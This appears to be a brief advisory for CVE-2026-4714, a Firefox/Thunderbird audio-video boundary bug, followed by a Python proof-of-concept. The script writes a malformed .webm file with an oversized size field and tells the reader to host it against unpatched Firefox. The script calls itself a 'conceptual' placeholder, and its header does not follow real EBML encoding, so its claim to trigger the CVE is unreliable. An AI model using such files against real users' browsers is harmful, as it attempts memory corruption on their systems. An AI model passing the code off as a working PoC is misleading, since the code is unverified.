Incorrect boundary conditions in the Audio/Video component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-4714: Conceptual trigger for boundary condition bug
import struct
def generate_malformed_media(filename):
# Simulate creating a malformed media file header
# This payload attempts to trigger the incorrect boundary check
# by defining an invalid size field in the media container structure.
# Generic container signature placeholder
header = b'\x1A\x45\xDF\xA3'
# Malicious size field that violates boundary conditions
# Setting a size that exceeds the allocated buffer
malicious_size = struct.pack('>I', 0xFFFFFFFF)
# Padding to simulate data
payload = header + malicious_size + b'\x00' * 100
with open(filename, 'wb') as f:
f.write(payload)
print(f"[+] Malformed media file generated: {filename}")
print(f"[+] Host this file on a web server and open it in vulnerable Firefox < 149")
if __name__ == "__main__":
generate_malformed_media("cve_2026_4714_poc.webm")